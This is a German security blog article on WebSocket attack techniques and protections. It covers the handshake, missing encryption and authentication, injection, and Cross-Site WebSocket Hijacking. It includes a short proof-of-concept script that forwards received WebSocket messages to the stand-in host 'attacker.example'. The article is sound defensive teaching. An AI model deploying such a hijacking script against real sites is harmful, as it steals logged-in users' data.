WebSockets - Angriffstechniken und Schutzmassnahmen

WebSockets

Angriffstechniken und Schutzmassnahmen

Michael Schneider
von Michael Schneider
am 08. April 2021
Lesezeit: 8 Minuten

Keypoints

So gehen Sie sicher mit WebSockets um

  • WebSockets ermöglichen eine bidirektionale und asynchrone Kommunikation
  • Bekannte HTTP-Schwachstellen gelten auch für WebSockets
  • WebSockets können über mittels TLS verschlüsselte Verbindungen aufgebaut werden
  • Die Überprüfung des Origin-Headers sowie eine Inputvalidierung und Ausgabekodierung schützt vor Angriffen
  • Cross-Site WebSocket Hijacking kann durch den Einsatz von CSRF-ähnlichen Token/Nonces verhindert werden

Der Artikel RFC 6455 – The WebSocket Protocol definiert WebSockets als Protokoll für die bidirektionale Kommunikation zwischen Client und Server. Meist handelt es sich beim Client um eine Webanwendung in JavaScript und als Server wird ein Webserver eingesetzt, der WebSocket-Verbindungen unterstützt. Das Protokoll basiert auf TCP und wird mit einem Handshake initiiert. Im Gegensatz zu HTTP wird die Verbindung zwischen Client und Server offen gehalten und es können Nachrichten in beide Richtungen sowie asynchron gesendet werden.

WebSockets sind weit verbreitet und werden unter anderem dort eingesetzt, wo eine geringe Latenz oder vom Server initiierte Nachrichten erforderlich sind, beispielsweise im Falle eines Chats oder Echtzeit-Nachrichtenfeeds wie die Übermittlung von Finanzdaten. Es existiert keine Einschränkung welche Daten in welcher Form in Nachrichten über WebSockets übermittelt werden. Im Bereich von Webanwendungen wird oft JSON als Datenformat genutzt. Das WebSocket-Protokoll unterschützt unverschlüsselte Verbindungen (ws://) sowie verschlüsselte Kommunikation über TLS (wss://).

Da WebSockets eine alternative Form der Kommunikation zu HTTP darstellt, aber ansonsten ähnliche Funktionalität aufweist, ist das Protokoll auch von bekannten HTTP-Schwachstellen betroffen. In diesem Artikel beschreiben wir, wie eine WebSocket-Verbindung aufgebaut wird, welches typische Angriffstechniken sind und welche Sicherheitsmassnahmen existieren.

Aufbau eines WebSockets

Um eine WebSocket-Kommunikation aufzubauen, führen Client und der WebSocket-Server einen Handshake durch. Der Beispielcode baut eine WebSocket-Verbindung auf, und sendet danach eine Nachricht mit dem Inhalt ping an den Server.

<script>
  var websocket = new WebSocket('wss://server.example.org');
  websocket.onopen = sendping();

  function sendping() {
    websocket.send('ping');
  }
</script>

Der Browser sendet dabei automatisch einen Handshake als HTTP-Request, um die WebSocket-Verbindung zu initiieren.

GET /chat HTTP/1.1
Host: server.example.org
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: VGhlQW5zd2VyaXM0Mi4K
Origin: http://example.org
Sec-WebSocket-Version: 13

Dabei handelt es sich um eine einfache Form der Anfrage, die ohne Authentisierung durchgeführt wird. Wenn der Server die Anfrage akzeptiert, sendet er die folgende Antwort, um den Handshake erfolgreich abzuschliessen.

HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: y/+ilX15b3jDgSQlfeKszFt8ntI=

Der Header Sec-WebSocket-Key in der Client-Anfrage enthält einen Base64-kodierten Wert, der für jede Anfrage zufällig generiert werden sollte. Der Response-Header Sec-WebSocket-Accept enthält einen nach Vorgabe des WebSocket-Protokolls erstellten Hash des übermittelten Werts des Headers Sec-WebSocket-Key. Bei diesen Headern handelt es sich um keine Sicherheitsfunktion. Diese Header wurden eingeführt, um zu vermeiden, dass Server nicht Verbindungen von Clients annehmen müssen, die keine Unterstützung für WebSockets haben und trotzdem Requests an den WebSocket-Server senden. Dabei kann es sich unter anderem um falsch konfigurierte Caching-Proxy-Server handeln.

Nun wurde der WebSocket-Kanal geöffnet. Wie die Kommunikation und die Verarbeitung der Nachrichten aussieht, liegt in der Verantwortung der Applikation, da das WebSocket-Protokoll keine Vorgaben an die Form der Nachrichten vorgibt.

Angriffe

Im OWASP Web Security Testing Guide werden Tests zu WebSockets unter der ID WSTG-CLNT-10 dokumentiert. In diesem Kapitel stellen wir einige Angriffstechniken vor, die einerseits WebSockets betreffen und andererseits auch mit WebSockets möglich sind.

Unberechtigter Zugriff auf WebSocket-Kommunikation

Wenn eine WebSocket-Kommunikation nicht über das Protokoll WebSockets over TLS (wss://) aufgebaut wird, ist es möglich die Kommunikation auf Netzwerkebene mitzulesen und zu manipulieren. Angreifer müssen sich dabei in einer privilegierten Position im Netzwerk befinden.

Es ist keine Form der Authentisierung und Autorisierung für WebSockets vorgegeben. Wenn für den Aufbau des WebSockets keine Authentisierung notwendig ist, können Angreifer eigene Verbindungen aufbauen und gegebenenfalls auf Daten zugreifen, die über HTTP nur authentisiert zugänglich ist. Wenn innerhalb einer WebSocket-Verbindung auch keine Zugriffsrechte überprüft werden, können Angreifer unberechtigter Weise an Daten durch das Senden von WebSocket-Nachrichten gelangen.

Code-Injection

Nachrichten, die über WebSockets gesendet werden, können zum Einschleusen von Code missbraucht werden. Je nachdem wie Nachrichten in der Applikation verarbeitet werden, ist es auch über WebSockets möglich Angriffe wie unter anderem SQL-Injection oder XML-basierte Attacken durchzuführen. Auch client-seitige Angriffe wie Cross Site Scripting (XSS) sind möglich, wenn der Inhalt von Nachrichten unzureichend geprüft und ohne Kodierung in die Webanwendung eingebettet wird. Wenn ein Angreifer Kontrolle über die WebSocket-Verbindung gelangt, kann dieser Nachrichten vom Client zum Server und umgekehrt manipulieren und so vorhandene Schwachstellen zur Ausführung von Schadcode missbrauchen.

Cross-Site WebSocket Hijacking

Der Angriff Cross-Site WebSocket Hijacking (CSWSH) nutzt eine Cross-Site-Request-Forgery-Schwachstelle (CSRF) beim WebSocket-Handshake aus. Angreifer können unter ihrer eigenen Domain eine Verbindung zur verwundbaren Applikation aufbauen. Wenn Benutzer die Seite der Angreifer öffnen, wird ein WebSocket im Kontext der Rechte des Benutzers aufgebaut. Angreifer können dann über die WebSocket-Verbindung mit der Applikation kommunizieren und erhalten zusätzlich auch Zugriff auf die Antworten des Servers. Dies ist bei einem CSRF-Angriff ansonsten nicht üblich.

Eine CSWSH-Attacke ermöglicht es Angreifern im Namen des Benutzers Nachrichten zu senden und empfangen. Je nach Anwendungszweck reicht auch der Aufbau eines WebSocket-Kanals aus, um ohne weitere Interaktion Nachrichten zu empfangen und auszuwerten. Das folgende Proof-of-Concept-Skript für eine CSWSH-Attacke beinhaltet JavaScript-Code für das Öffnen eines WebSockets und zur Extrahierung von erhaltenen Nachrichten. Das Skript wird im Origin des Angreifers ausgeführt.

<script>
  // create a websocket connection to the target application
  var websocket = new WebSocket('wss://target.example');

  // wait for a message and exfiltrate the data
  websocket.onmessage = function(event) {
    var xhr = new XMLHttpRequest();

    xhr.open('POST', 'attacker.example', true);
    xhr.send(event.data);
  }
</script>

Wenn Benutzer auf die präparierte Seite des Angreifers zugreifen, führt der Webbrowser den WebSocket-Handshake durch und sendet dabei auch die Cookies analog zu einer CSRF-Attacke mit. Falls für das Öffnen eines WebSockets eine Authentisierung nur auf Basis eines Session Token Cookie notwendig ist, wird diese mit diesem Beispiel umgangen.

Schutzmassnahmen

Bei der Verwendung von WebSockets sollten die folgenden Schutzmassnahmen beachtet werden.

Bei der Verwendung von WebSockets gilt dasselbe Prinzip wie bei klassischen Webanwendungen, dass eingehenden Daten nicht vertraut werden soll, und diese entsprechend überprüft werden müssen. Dies gilt für Header beim Handshake wie auch für die übermittelten Nachrichten in beide Richtungen. Damit Cross-Site-WebSocket-Hijacking-Angriffe verhindert werden können, sollte eine Prüfung des Origin-Headers durchgeführt und eine Form von CSRF-Token eingeführt werden.

Fazit

Im Unterschied zu HTTP bleibt beim WebSocket-Protokoll die Verbindung erhalten und ermöglicht so eine asynchrone Übertragung von Nachrichten in beide Richtungen. Bei der Verwendung von WebSockets treten ähnliche Schwachstellen wie in HTTP auf. Wenn keine verschlüsselte Verbindung aufgebaut oder die Authentisierung nicht vollständig durchgesetzt wird, ist unbefugter Zugriff auf übermittelte Daten möglich. Wenn bei der Verarbeitung des Inhalts von Nachrichten keine Prüfung erfolgt, führt dies zur Ausführung von Schadcode. Zudem besteht die Möglichkeit für Cross-Origin-Angriffe während der Initialisierung einer WebSocket-Verbindung. Für alle beschriebenen Angriffe existieren jedoch passende Schutzmassnahmen, sodass WebSockets auch sicher betrieben werden können.

Über den Autor

Michael Schneider

Michael Schneider arbeitet seit dem Jahr 2000 in der IT. Im Jahr 2010 hat er sich auf die Informationssicherheit spezialisiert. Zu seinen Aufgaben gehören das Penetration Testing, Hardening und das Aufspüren von Schwachstellen in Betriebssystemen. Er ist bekannt für eine Vielzahl in PowerShell geschrieber Tools zum Finden, Ausnutzen und Beheben von Schwachstellen. (ORCID 0000-0003-0772-9761)

Links

Sie wollen die Sicherheit Ihrer Firewall prüfen?

Unsere Spezialisten kontaktieren Sie gern!

×
HardeningKitty Score

HardeningKitty Score

Michael Schneider

HTTP Response Header

HTTP Response Header

Michael Schneider

HardeningKitty

HardeningKitty

Michael Schneider

Sie wollen mehr?

Weitere Artikel im Archiv

Sie brauchen Unterstützung bei einem solchen Projekt?

Unsere Spezialisten kontaktieren Sie gern!

Sie wollen mehr?

Weitere Artikel im Archiv